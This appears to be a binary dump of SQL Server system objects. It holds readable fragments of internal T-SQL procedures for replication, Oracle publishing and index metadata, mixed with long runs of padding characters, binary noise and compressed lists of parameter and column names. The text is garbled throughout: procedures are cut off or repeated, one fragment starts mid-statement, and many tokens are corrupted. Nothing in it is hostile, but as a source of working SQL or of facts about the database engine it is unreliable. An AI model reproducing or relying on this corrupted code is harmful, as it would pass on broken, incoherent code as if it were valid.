	
	IF @pubid IS NULL
	BEGIN
		RAISERROR(21600, 16, -1, @publisher)
		RETURN (1)
	END

	-- Define sp_ORAremotequery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	-- call HREPL.RefreshXactSetJob to refresh Oracle XactSet job
	INSERT INTO #hquery(cmd) VALUES (N'{CALL HREPL.REFRESHXactSetJob(')
	IF @enabled IS NULL 
		INSERT INTO #hquery(cmd) VALUES ( N'NULL,')
	ELSE
		INSERT INTO #hquery(cmd) VALUES (CONVERT(NVARCHAR(255), @enabled) + N',')
		
	IF @interval IS NULL 
		INSERT INTO #hquery(cmd) VALUES ( N'NULL,')
	ELSE
		INSERT INTO #hquery(cmd) VALUES (CONVERT(NVARCHAR(255), @interval) + N',')
		
	IF @threshold IS NULL 
		INSERT INTO #hquery(cmd) VALUES ( N'NULL,')
	ELSE
		INSERT INTO #hquery(cmd) VALUES (CONVERT(NVARCHAR(255), @threshold) + N',')
		
	IF @LRinterval IS NULL 
		INSERT INTO #hquery(cmd) VALUES ( N'NULL,')
	ELSE
		INSERT INTO #hquery(cmd) VALUES (CONVERT(NVARCHAR(255), @LRinterval) + N',')
	
	IF @LRthreshold IS NULL 
		INSERT INTO #hquery(cmd) VALUES ( N'NULL)}')
	ELSE
		INSERT INTO #hquery(cmd) VALUES (CONVERT(NVARCHAR(255), @LRthreshold) + N')}')

	EXEC @retcode = sys.sp_IHquery @publisher
	IF  (@@error <> 0 OR @retcode <> 0 )
	BEGIN
		RAISERROR (21786, 16, -1, @publisher)
		RETURN (1)
	END

	RETURN(0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!4%\`	<kꍚ0 g8
create procedure sys.sp_indexes_rowset2
(
    @index_name     sysname = null,
    @table_schema   sysname = null
)
as
    select
        TABLE_CATALOG       = s_iv.TABLE_CATALOG,
        TABLE_SCHEMA        = s_iv.TABLE_SCHEMA,
        TABLE_NAME          = s_iv.TABLE_NAME,
        INDEX_CATALOG       = s_iv.INDEX_CATALOG,
        INDEX_SCHEMA        = s_iv.INDEX_SCHEMA,
        INDEX_NAME          = s_iv.INDEX_NAME,
        PRIMARY_KEY         = s_iv.PRIMARY_KEY,
        [UNIQUE]            = s_iv.[UNIQUE],
        [CLUSTERED]         = s_iv.[CLUSTERED],
        [TYPE]              = s_iv.[TYPE],
        FILL_FACTOR         = s_iv.FILL_FACTOR,
        INITIAL_SIZE        = s_iv.INITIAL_SIZE,
        NULLS               = s_iv.NULLS,
        SORT_BOOKMARKS      = s_iv.SORT_BOOKMARKS,
        AUTO_UPDATE         = s_iv.AUTO_UPDATE,
        NULL_COLLATION      = s_iv.NULL_COLLATION,
        ORDINAL_POSITION    = s_iv.ORDINAL_POSITION,
        COLUMN_NAME         = s_iv.COLUMN_NAME,
        COLUMN_GUID         = s_iv.COLUMN_GUID,
        COLUMN_PROPID       = s_iv.COLUMN_PROPID,
        [COLLATION]         = s_iv.[COLLATION],
        CARDINALITY         = s_iv.CARDINALITY,
        PAGES               = s_iv.PAGES,
        FILTER_CONDITION    = s_iv.FILTER_CONDITION,
        INTEGRATED          = s_iv.INTEGRATED

    from
        sys.spt_indexes_view s_iv

    where
        (@table_schema is null or schema_id(@table_schema) = s_iv.SCHEMA_ID) and
        (@index_name is null   or @index_name = s_iv.INDEX_NAME)

    order by 8, 10, 4, 5, 6, 17
0
$ 8CREATE VIEW sys.dm_exec_query_transformation_stats AS
	SELECT *
	FROM OpenRowSet(TABLE SYSRULESTATS)
0xk* k8
create procedure sys.sp_MStable_has_unique_index @tabid int
as
begin

    /* 
    ** Returns id of unique index, if it exists, else 0
    */
    declare @indid int

    if (ObjectProperty(@tabid, 'IsTable') = 1) 
    begin
        -- First get the primary index id. 
        select @indid = i.indid from sysindexes i where 
            -- get the primary key index
            (i.status & 2048) <> 0
            and i.id = @tabid

        if @indid is null
        begin
            -- Get the first unique index
            select top 1 @indid = i.indid from sysindexes i where 
                (i.status & 2) <> 0
                and i.id = @tabid
                order by i.indid asc
        end
        if @indid is null select @indid = 0
    end
    else
        select @indid = 0

    return @indid
end
04@ 8create procedure sys.sp_MSscript_trigger_version_updates
(
    @objid        int,
    @version_col  sysname,
    @indent       int = 0,
    @primary_key_bitmap   varbinary(4000)
)
as
begin
    set nocount on
    declare @cmd nvarchar(4000)
                ,@col sysname
                ,@qualname nvarchar(517)

    --
    -- Script out pk var assigment that used in sp_MSscript_where_clause
    --
    exec sys.sp_MSscript_pkvar_assignment @objid, NULL, 1, null, null, @primary_key_bitmap
    --
    -- Assign the param corresponding to version col to new guid
    --
    exec sys.sp_MSget_col_position @objid, null, @version_col, @col output
    exec sys.sp_MSget_qualified_name @objid, @qualname OUTPUT
    select @cmd = N'
        if not update (msrepl_tran_version)
        begin
            select @' + @col + N' = @version_guid 
            update ' + @qualname + N' set ' + @version_col + N' = @' + @col + N' '
    insert into #proctext(procedure_text) values(@cmd)
    exec sys.sp_MSscript_where_clause @objid, null, 'trg pk', null, 0, 'upd', @primary_key_bitmap
    select @cmd = N'
        end' 
    insert into #proctext(procedure_text) values(@cmd)
    --
    -- all done
    --
    return 0
end
06@ i8
--
-- Name:    
--          fn_IHiscolpk
--          
-- Description: 
--          Function to see if column is in primary key
--  
-- Security: 
--          Internal
--
-- Returns:
--          1 == if col is in primary key
--			0 == if col is not in primary key
--      
-- Owner:   
--          <current owner> 

create function sys.fn_IHiscolpk
(
	@colid	int
)
returns bit
as
begin
    if exists
    (
		SELECT	*
		FROM	IHpublishercolumnconstraints ihpcc WITH (INDEX(idx_IHpublishercolumnconstraints_pubcolumnid)),
			IHpublisherconstraints ihpcn WITH ( INDEX( idx_IHpublisherconstraints_pubconstraintid))
		WHERE	ihpcc.publishercolumn_id	= @colid
		  and	ihpcc.publisherconstraint_id	= ihpcn.publisherconstraint_id
		  and	ihpcn.type			= 'PRIMARYKEY'
	)
	BEGIN
		return 1
	END
	
    return 0
end
0" D8oh((*0! 8create procedure sys.sp_MSgenerate_enumchangedcolumnvalues_query 
	@objid int
as
	set nocount on

	declare @colid 			int
	declare @columnordinal	int
	declare @previouscolid	int
	declare @cmdpiece		nvarchar(4000)
	declare @colname		nvarchar(200)
	declare @METADATA_TYPE_InsertLightweight tinyint
	declare @METADATA_TYPE_UpdateLightweight tinyint

	set @METADATA_TYPE_InsertLightweight= 7 
	set @METADATA_TYPE_UpdateLightweight= 8

	if @objid is null return (1)
	
	set @columnordinal= 0
	set @previouscolid= -1
	while (1=1)
	begin
		set @columnordinal= @columnordinal + 1
		
		set @colid= (select min(column_id) from sys.columns 
						where object_id = @objid and 
							  column_id > @previouscolid)

		if @colid is null
			break

		set @previouscolid= @colid

		select @colname= quotename(name) from sys.columns 
							where object_id = @objid and
								  column_id = @colid

		set @cmdpiece= '
		case
			when @COLUMNS_ENUMERATED_AllOnOtherReason = rt.columns_enumeration then t.' + @colname + ' -- e.g., insert
			when @COLUMNS_ENUMERATED_AllOnConflictOrError = rt.columns_enumeration then t.' + @colname + ' -- conflict, error
			when 1 = sys.fn_MStestbit(rt.changedcolumns, ' + cast(@columnordinal as nvarchar(4)) + ') then t.' + @colname + ' -- locally modified
			else null -- locally unmodified
		end
		'

		if 1<>@columnordinal
		begin
			set @cmdpiece= ', ' + @cmdpiece
		end

		insert into #columnvaluequery (cmdtext) values (@cmdpiece)
	end
table ' + @qualified_tablename)
    end
    if @@error<>0 return (1)

    update dbo.sysmergearticles set conflict_table= NULL where pubid=@pubid and artid=@artid

    return 0
04@ 8create procedure sys.sp_MSscript_trigger_version_updates
(
    @objid        int,
    @version_col  sysname,
    @indent       int = 0,
    @primary_key_bitmap   varbinary(4000)
)
as
begin
    set nocount on
    declare @cmd nvarchar(4000)
                ,@col sysname
                ,@qualname nvarchar(517)

    --
    -- Script out pk var assigment that used in sp_MSscript_where_clause
    --
    exec sys.sp_MSscript_pkvar_assignment @objid, NULL, 1, null, null, @primary_key_bitmap
    --
    -- Assign the param corresponding to version col to new guid
    --
    exec sys.sp_MSget_col_position @objid, null, @version_col, @col output
    exec sys.sp_MSget_qualified_name @objid, @qualname OUTPUT
    select @cmd = N'
        if not update (msrepl_tran_version)
        begin
            select @' + @col + N' = @version_guid 
            update ' + @qualname + N' set ' + @version_col + N' = @' + @col + N' '
    insert into #proctext(procedure_text) values(@cmd)
    exec sys.sp_MSscript_where_clause @objid, null, 'trg pk', null, 0, 'upd', @primary_key_bitmap
    select @cmd = N'
        end' 
    insert into #proctext(procedure_text) values(@cmd)
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!O"f
`Q
)"MCU]6]@mode6Taggregated_record_length_in_bytes6(database_id6(pdw_node_id6$rowset_id67
&@indexname67
,@query_sample67
"@tabname67
.@verboseoutput6I<$2@accentsensitive6I<$@lcid6I<$*@querystring6I<$(@stoplistid6I<$*display_term6I<$.expansion_type6I<$"group_id6I<$ keyword6I<$&occurrence6I<$$phrase_id6I<$(source_term6I<$*special_term6
[0@@foreignkey_tab_catalog6
[0>@foreignkey_tab_schema6
[04@pk_table_catalog6
[02@pk_table_schema63&commit_csn63&commit_lbn63(commit_time63$commit_ts63 xdes_id64B(@ProviderId64B*algorithm_id64B,algorithm_tag64Bkey_id64B&key_length64B"key_name64B.key_thumbprint64B"key_type6 E"batch_id6 E
0batch_timestamp6 E&catalog_id6 E:crawl_memory_address6 E(database_id6 E&doc_failed6 E"hr_batch6 E	.is_retry_batch6 E.memory_address6 EBmemregion_memory_address6 E
(retry_hints6 E@retry_hints_description6 E"table_id69mL"@srvname6N0distribution_id6Nname6N(pdw_node_id6N"position6]@login6]&@tranpubid6VL&@publisher6VL,@publisher_db6VL*@publication6VL@artid6e&@publisher6e,@publisher_db6e*@publication6s*@publication6,(@profile_id6,2@real_profile_id6p7&@publisher6p7*@publication6K$I@dbms6K$I"@version6K$I@type6%*@publication6%"@article6% @column6%(@mapping_id6%@type6% @length6%&@precision6%@scale6%	&@publisher6l&@publisher6l,@publisher_db6l0@publisher_type6l,@remoteserver6l*@distributor6l&@distribdb6jq*@publication6jq(@subscriber6jq0@destination_db6jq&@publisher6jq0@publisher_type6i˼&@publisher6i˼"@enabled6i˼$@interval6i˼&@threshold6i˼(@LRinterval6i˼*@LRthreshold6*@publication6"@timeout658@secondary_database650@primary_server654@primary_database65.@restore_delay65*@restore_all65,@restore_mode654@disconnect_users65(@block_size65	,@buffer_count65
6@max_transfer_size656@restore_threshold652@threshold_alert65
B@threshold_alert_enabled65D@history_retention_period65&@overwrite65:@ignoreremotemonitor6D&@object_id6D&@col_index6D(@colids_bin6D"@colname6D"@columns6*@publication6D@dynamic_snapshot_jobname6@@dynamic_snapshot_jobid60@frequency_type68@frequency_interval64@frequency_subday6F@frequency_subday_interval6J@frequency_relative_interval6	J@frequency_recurrence_factor6
6@active_start_date62@active_end_date6D@active_start_time_of_day6
@@active_end_time_of_day6&@job_login6,@job_password6b}@pubid6b},@partition_id6b}4@dynsnap_location6g"@genlist6g @maxgen6g	*@compatlevel6g
>@enumentirerowmetadata6g<@blob_cols_at_the_end6~Q@pubid6~Q0@AlterTableOnly6~Q.@schemaversion6~Q*@compatlevelblication6D@dynamic_snapshot_jobname6@@dynamic_snapshot_jobid60@frequency_type68@frequency_interval64@frequency_subday6F@frequency_subday_interval6J@frequency_relative_interval6	J@frequency_recurrence_factor6
6@active_start_date62@active_end_date6D@active_start_time_of_day6
@@active_end_time_of_day6&@job_login6,@job_password6R*@publication6R*@suser_sname6R&@host_name6b}@pubid6b},@partition_id6b}4@dynsnap_location6g"@maxrows6g"@genlist6g&@tablenick6g"@rowguid6g @maxgen6g	*@compatlevel|H&h
x

x	P	6		
	0
Z
ZtLxJ(fxF"|H

6
"nLxT.lB&$FxR@vb@V,.
T



\
4F|V\ $pj.ZZ*2zX	n	`z~)I,6=P"@indname6=P"@tblname6rS*@assembly_id6rS.@assembly_name6rS2@assembly_schema6rS,@catalog_name6rS*@server_name6CV*@column_name6CV.@table_catalog6CV(@table_name6CV,@table_schema6CV,@table_server68c(@planhandle68c*cacheobjtype68c<memory_object_address68c$usecounts6k4lost_events_count6k(pdw_node_id6k&process_id6k&queue_size6k(target_name6r,@duplicate_ok6r@local6r @server66?(database_id66?,database_name66?"key_guid66?key_id66?"key_name66?(opened_date66?status64BackupDescription62BackupFinishDate6&BackupName63,BackupSetGUID6
&BackupSize60BackupStartDate6&BackupType62<BackupTypeDescription6).BeginsLogChain6$BindingID6,CheckpointLSN6"CodePage6!$Collation66CompatibilityLevel6&Compressed64:CompressedBackupSize64DatabaseBackupLSN6:DatabaseCreationDate6
*DatabaseName60DatabaseVersion6&DeviceType61:DifferentialBaseGUID608DifferentialBaseLSN6.ExpirationDate6"&FamilyGUID6"FirstLSN6-8FirstRecoveryForkID6Flags6.*ForkPointLSN6'6HasBackupChecksums6#4HasBulkLoggedData6*<HasIncompleteMetaData6,&IsCopyOnly6($IsDamaged6+.IsForceOffline6%&IsReadOnly6&*IsSingleUser6$&IsSnapshot6 LastLSN6(MachineName6"Position6 .RecoveryForkID6/,RecoveryModel6	&ServerName62SoftwareVendorId6:SoftwareVersionBuild6:SoftwareVersionMajor6:SoftwareVersionMinor6$SortOrder6>UnicodeComparisonStyle60UnicodeLocaleId6"UserName6緰@allocator_stack_address6緰,creation_time6緰"line_num6緰Dmemory_allocation_address6緰.memory_node_id6緰<memory_object_address6$@pubid6$@artid6$>@ignore_merge_metadata6$F@force_preserve_rowguidcolR6R@ssvar6"@command6(@xact_seqno6v$f(@request_id6v$f*@publication6σ,@publisher_id6σ,@publisher_db6σ*@publication6σ.@subscriber_id6σ.@subscriber_db6σ6@subscription_type6σ2@subscriber_name6σ2@anonymous_subid6σ	(@reinitanon6jv$@toolpath6#Z*@publication6ݘu*@publication6_@pubid6_,@article_name6_@artid6_&@tablenick6_6@destination_owner6_4@identity_support6_8@destination_object6_2@column_tracking6_	0@upload_options6_
4@well_partitioned6_ @status6_4@processing_order6_
2@delete_tracking6_>@compensate_for_errors6_:@stream_blob_columns!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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Z.~p`3)\BO1#!r6b@&session_id6>Kname6>K*principal_id6>K&service_id6>K2service_queue_id6$f*@DbPrincipal6$f&@LockOwner6$f$@Resource6=yx&@namespace6=yx@order6=yx$@stmttype6=yx*@triggername6H$@newvalue6#,is_filterable6#,is_repeatable6#2is_repeated_base6#"max_size6#name6#0trace_column_id6#$type_name6P6CONSTRAINT_CATALOG6P0CONSTRAINT_NAME6P4CONSTRAINT_SCHEMA6P	(DELETE_RULE6P*MATCH_OPTION6PDUNIQUE_CONSTRAINT_CATALOG6P>UNIQUE_CONSTRAINT_NAME6PBUNIQUE_CONSTRAINT_SCHEMA6P(UPDATE_RULE6֩ command6֩0distribution_id6֩"end_time6֩"error_id6֩(pdw_node_id6֩&request_id6֩
$row_count6֩spid6֩&start_time6֩status6֩&step_index6֩	6total_elapsed_time6R"@db_name6R@pubid6R$@replnick6R @server6&event_name6,property_name6$@fvisible6 @object6@owner6c*@publication6c&@publisher6c,@publisher_db6c6@subscription_type6c6@working_directory6
2@distribution_db6	*@distributor6*@publication6&@publisher6,@publisher_db6(@subscriber6.@subscriber_db64@subscriber_login6:@subscriber_password6D@subscriber_security_mode6.@filegroupname6J&@cmptlevel6J @dbname6F@distributor_security_mode66@distributor_login6
<@distributor_password6>@optional_command_line60@frequency_type68@frequency_interval6J@frequency_relative_interval6J@frequency_recurrence_factor64@frequency_subday6F@frequency_subday_interval6D@active_start_time_of_day6@@active_end_time_of_day66@active_start_date62@active_end_date68@distribution_jobid6P@encrypted_distributor_password6:@enabled_for_syncmgr6*@ftp_address6$@ftp_port6&@ftp_login6,@ftp_password6 :@alt_snapshot_folder6!6@working_directory6""@use_ftp6#4@publication_type6$4@dts_package_name6%<@dts_package_password6&<@dts_package_location6'$@reserved6(,@offloadagent6).@offloadserver6*$@job_name6+&@job_login6,,@job_password63*@publication63&@publisher63,@publisher_db636@subscription_type6[
@objid6[
&@publisher6[
,@publisher_db6[
*@publication6[
$@trigname6[
$@procname6[
(@proc_owner6[
"@cftproc6[
	$@agent_id6[

,@identity_col6[
 @ts_col6[
.@filter_clause6[

8@primary_key_bitmap6[
(@pubversion6[
 @falter6*@publication6&@publisher6,@publisher_db6@level6HE,@inputbitmap16HE,@inputbitmap26HE.@resultbitmap36 s.@subtype_addun6 s.@subtype_addfk6 s0@subtype_addchk6 s@objid6 s*@debug_print6T*@filter_name6T&@parent_id6&@publisher6-*@publication6-8@ignore_distributor6-&@publisher6-0@publisher_type6-*@from_backup6뇝@artid6뇝@mode6뇝.@publishertype6뇝&@publisher6+$@agent_id6/5"@errorid6/5(@xact_seqno6/5(@command_id6$@agent_id6,@get_snapshot6&@publisher6,@publisher_db6B@publisher_security_mode62@publisher_login68@publisher_password6&@job_login6,@job_password60@publisher_type6/'$@nickname6/'"@rowguid6ϲ@pubid6ϲ$@nickname6eU*@publication6ߑ$@command16ߑ*@replacechar6ߑ$@command26ߑ$@command36ߑ*@worker_type6S"@objname6S@mode6S@objid6S"@srvpriv6S$@prottype6S"@grantee6S@flags6S @rollup6,@publisher_db6B@publisher_sectNrLFb&DnNpR,
f

L

			z	*f@h
d

R&brP		,
b"Z"`6V
2"@~bb> "^D ^>R(fhBxLBT((
:XrL"`	R)7
6`n address6`n@blocked_event_fire_time6`n
6buffer_policy_desc6`n	8buffer_policy_flags6`n(create_time6`n:dropped_buffer_count6`n
8dropped_event_count6`n$flag_desc6`nflags6`n4large_buffer_size6`nFlargest_event_dropped_size6`nname6`n0pending_buffers6`n8regular_buffer_size6`n4total_buffer_size6`n8total_large_buffers6`n<total_regular_buffers6e:@current_compression6e:@desired_compression6e$@index_id6e(@index_name6e&@object_id6e,@sample_table6e:compress_current_ddl6e:compress_desired_ddl6e2create_index_ddl6e&is_primary6"@catalog6@name6 @schema6 @server6@type6(DESCRIPTION6,TABLE_CATALOG6&TABLE_GUID6&TABLE_NAME6*TABLE_SCHEMA6&TABLE_TYPE6a6(parent_type6a6type6a6$type_name6:@create_ddl_triggers6@value6,@whattocreate6"@objname6"@results6c(@event_data6c*@policy_name6c*@synchronous68$object_id68,physical_name6P;$@col_type6P;$@nullable6P;"@ODBCVer6P;@scope6P;(@table_name6P;*@table_owner6P;2@table_qualifier6|Q*@publication6|Q&@publisher6|Q*@publisherDB6|Q&@anonymous6|Q&@sync_type6|Q&@preexists6w$@rolename6Y,@profile_name6g 4@qual_object_name6g @objid6g <@pass_through_scripts6g 8@target_object_name262&@object_id6p*@publication6p"@article6p@objid6܍V"@article6@@artid6@.@publishertype6@&@publisher6R.@originator_id6R @row_id6R0@conflict_table68G*@queueserver68G"@queueid65(@request_id65&@peer_node65"@peer_db652@peer_db_version65F@conflictdetection_enabled658@peer_originator_id65B@peer_conflict_retention65D@peer_continue_onconflict65	,@peer_histids65
2@originator_node65.@originator_db6k,4@mode6k,4(@primary_id6k,40@primary_server6k,40@monitor_server6k,44@primary_database6k,44@backup_threshold6k,42@threshold_alert6k,4B@threshold_alert_enabled6k,4	4@last_backup_file6k,4
4@last_backup_date6k,4<@last_backup_date_utc6k,4D@history_retention_period6DG&@role_name6DG*@role_exists64@capture_instance6<@supports_net_changes6X@objid6X@csn6X(@batch_size6X(@stat_value6N,@functionname6N&@isdynamic6N0@uses_host_name6N4@uses_suser_sname6W%*@publication6W%(@subscriber6W%.@subscriber_db6W%6@subscription_type6W%2@subscriber_type6W%>@subscription_priority6W%&@sync_type6W%0@frequency_type6W%	8@frequency_interval6W%
J@frequency_relative_interval6W%J@frequency_recurrence_factor6W%4@frequency_subday6W%
F@frequency_subday_interval6W%D@active_start_time_of_day6W%@@active_end_time_of_day6W%6@active_start_date6W%2@active_end_date6W%>@optional_command_line6W%*@description6W%:@enabled_for_syncmgr6W%,@offloadagent6W%.@offloadserver6W%D@use_interactive_resolver6W%0@merge_job_name6W%$@hostname6̲*@publication6̲D@dynamic_snapshot_jobname6̲@@dynamic_snapshot_jobid6@pubid6"@artname6&@next_seed6@range6&@threshold6&@checkonly6\*@publication6\"@article6\(@schematype6\(@schematext6\&@tablename6q&@publisher6q,@publisher_db6q*@publication6q&@tablenick6q"@rowguid6q @retval6q @nested6U&@tablename6U&@ownername6U$@procname6U@pubid6U@artid6UD@generate_subscriber_proc6U6@destination_owner6W@pubid6W&@tablenickn
j
D





			x	V	2		VfJ2n"*6|
N

jBX2|L&*@fz8(
z\$J6\& rzPzV`pV<xL$d2lD Z0f^,,d,r,p8<V.`/p))M6G*cache_buffer6G(database_id6G	<disk_read_consumer_id6G:entry_scan_direction6G0future_interest6G6is_hadron_consumed6G
4is_log_read_ahead6G$is_pushed6G2is_repl_consumed6G
6is_replay_consumed6G2is_tran_consumed6G*log_block_id6G6persistence_status6G2recovery_unit_id6G(ref_counter6Gsize6Gweight6*package_name6.trace_event_id6,xe_event_name6"dns_name6"group_id6Zip_configuration_string_from_cluster6,is_conformant6(listener_id6port6state6&state_desc6G)
"app_name6G)	$client_id6G)2is_transactional6G)&login_name6G)&login_time6G)(query_count6G)&request_id6G)(security_id6G)&session_id6G)status6pc2@@foreignkey_tab_catalog6pc2:@foreignkey_tab_name6pc2>@foreignkey_tab_schema6pc24@pk_table_catalog6pc2.@pk_table_name6pc22@pk_table_schema6pc2*@server_name6quADaverage_time_between_uses6quA,cache_address6quA	>context_switches_count6quA*current_cost6quA.disk_ios_count6quA,entry_address6quA&entry_data6quA6entry_data_address6quA*in_use_count6quA"is_dirty6quA<memory_object_address6quAname6quA
,original_cost6quA
"pages_kb6quA(pdw_node_id6quA pool_id6quA:probability_of_reuse6quA8time_since_last_use6quA2time_to_generate6quAtype6quA$use_count6quAvalue6V$@del_proc6V	"@cftproc6V,@identity_col6V
.@filter_clause6V4@identity_support6V6@independent_agent6V*@distributor6V&@dump_cmds65@mode6E?$@orig_srv6E?"@orig_db6E?"@command6E?(@article_id6E?0@publication_id6E?$@cmdstate6E?@mode6E?&@setprefix6{S&@publisher6{S0@publisher_type6{S&@no_checks6@dbms6"@version6~*@publication6~(@subscriber6~0@destination_db6&@publisher6,@publisher_db6*@publication6&@publisher6,@publisher_db6*@publication6 #$@database6 #:@ignoreremotemonitor6[o@gen6[o$@art_nick6[o8@leveling_threshold6[o"@nickbin6[o$@replnick6[o8@level_deletes_only6[o0@force_leveling6M@pubid6M0@tablenickarray6M,@rowguidarray6M*@compatlevel6M*@lightweightquency_subday_interval6$D@active_start_time_of_day6$@@active_end_time_of_day6$6@active_start_date6$2@active_end_date6$>@optional_command_line6$*@merge_jobid6$:@enabled_for_syncmgr6$ *@ftp_address6$!$@ftp_port6$"&@ftp_login6$#,@ftp_password6$$:@alt_snapshot_folder6$%6@working_directory6$&"@use_ftp6$'$@reserved6$(D@use_interactive_resolver6$),@offloadagent6$*.@offloadserver6$+$@job_name6$,F@dynamic_snapshot_location6$-,@use_web_sync6$.,@internet_url6$/0@internet_login6$06@internet_password6$1@@internet_security_mode6$24@internet_timeout6$3$@hostname6$4&@job_login6$5,@job_password6V&@sub_table6V2@sub_table_owner6V&@publisher6V,@publisher_db6V*@publication6V$@ins_proc6V$@upd_proc6V$@del_proc6V	"@cftproc6V
(@proc_owner6V,@identity_col6V @ts_col6V
.@filter_clause6V8@primary_key_bitmap6V4@identity_support6V6@independent_agent6V*@distributor6V(@pubversion6V&@dump_cmds65@mode6E?$@orig_srv6E?"@orig_db6E?"@command6E?(@article_id6E?0@publication_id6E?$@cmdstate6E?@mode6E?&@setprefix6]@subid6]4@last_sync_status6]6@last_sync_summary6{S&@publisher6{S0@publisher_type6{S&@no_checks6@dbms6"@version6~*@publication6~(@subscriber6~0@destination_db6&@publiBn0

 lNp8



h
N

			j	>		|8rr

V
2
V
z<~V0fD0&:r|RvPh*DT:NX(`u)-LG6VHSCHEMACOLLECTION_SCHEMANAME6V:SCHEMACOLLECTIONNAME6V,SCHEMACONTENT6V6TARGETNAMESPACEURI6V4xml_collection_id6*@column_name60@constr_catalog6*@constr_name6.@constr_schema6,@table_schema6Ә,TABLE_CATALOG6Ә&TABLE_NAME6Ә*TABLE_SCHEMA6Ә&TABLE_TYPE6{@lcid6/ @dbname6e@pubid6e@@snapshot_session_token6c*@DbPrincipal6c$@LockMode6c&@LockOwner6c*@LockTimeout6c$@Resourceb;6b;$@datetime6Ѿ.AUTO_INCREMENT6Ѿ
.CASE_SENSITIVE6Ѿ4CASE_SENSITIVE_286Ѿ
,CREATE_PARAMS6Ѿ2CREATE_PARAMS_906Ѿ$DATA_TYPE6Ѿ*DATA_TYPE_286Ѿ*DATA_TYPE_906Ѿ6INTERVAL_PRECISION6Ѿ.LITERAL_PREFIX6Ѿ	.LITERAL_SUFFIX6Ѿ0LOCAL_TYPE_NAME6Ѿ (MAPPED_TYPE6Ѿ,MAXIMUM_SCALE6Ѿ2MAXIMUM_SCALE_906Ѿ,MINIMUM_SCALE6Ѿ2MINIMUM_SCALE_906ѾMONEY6Ѿ"NULLABLE6Ѿ.NUM_PREC_RADIX6Ѿ ODBCVer6Ѿ$PRECISION6Ѿ*PRECISION_286Ѿ&SEARCHABLE6Ѿ,SQL_DATA_TYPE6Ѿ2SQL_DATA_TYPE_286Ѿ2SQL_DATA_TYPE_906Ѿ2SQL_DATETIME_SUB6Ѿ8SQL_DATETIME_SUB_906Ѿ$TYPE_NAME6Ѿ6UNSIGNED_ATTRIBUTE6Ѿ"USERTYPE60.@pubid60.8@qual_source_object6@artid6 @ddlcmd6@pubid6@input6V"affinity6V(boost_count6V
:context_switch_count6V(end_quantum6V4exception_address6V,exception_num6V6exception_severity6V,fiber_address6V6is_fatal_exception6V"is_fiber6V6is_in_cc_exception6V	Xis_in_polling_io_completion_routine6V0is_inside_catch6V,is_preemptive6V is_sick6V.last_wait_type6V(max_quantum6V!<memory_object_address6V
@pending_io_byte_average6V<pending_io_byte_count6V2pending_io_count6V%0processor_group6V*quantum_used6V(return_code6V$4scheduler_address6(@article_id6.@useAlterTable6,@useClustered6!&@publisher6!,@publisher_db6!*@publication6!"@article6!(@article_id6!$@property6!@value6%*@publication6%(@subscriber6%.@subscriber_db6%&@publisher6%,@publisher_db6%(@web_server6^K@pubid6^K"@upgrade6&@publisher6,@publisher_db6*@publication6*@server_name6"@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$IS_RESULT6J84NUMERIC_PRECISION6J8@NUMERIC_PRECISION_RADIX6J8,NUMERIC_SCALE6J82ORDINAL_POSITION6J8.PARAMETER_MODE6J8.PARAMETER_NAME6J8,SCOPE_CATALOG6J8&SCOPE_NAME6J8*SCOPE_SCHEMA6J82SPECIFIC_CATALOG6J8,SPECIFIC_NAME6J80SPECIFIC_SCHEMA6J8DUSER_DEFINED_TYPE_CATALOG6J8>USER_DEFINED_TYPE_NAME6J8BUSER_DEFINED_TYPE_SCHEMA!6!@geom6_6(snapshot_id6_6<snapshot_sequence_num6_6Btransaction_sequence_num6q9 @handle6q9dbid6q9$encrypted6q9number6q9"objectid6q9text6:,database_name6:4group_database_id6:6is_database_joined6:Jis_pending_secondary_suspend6:&replica_id6:<synchronization_state6:Fsynchronization_state_desc6\ 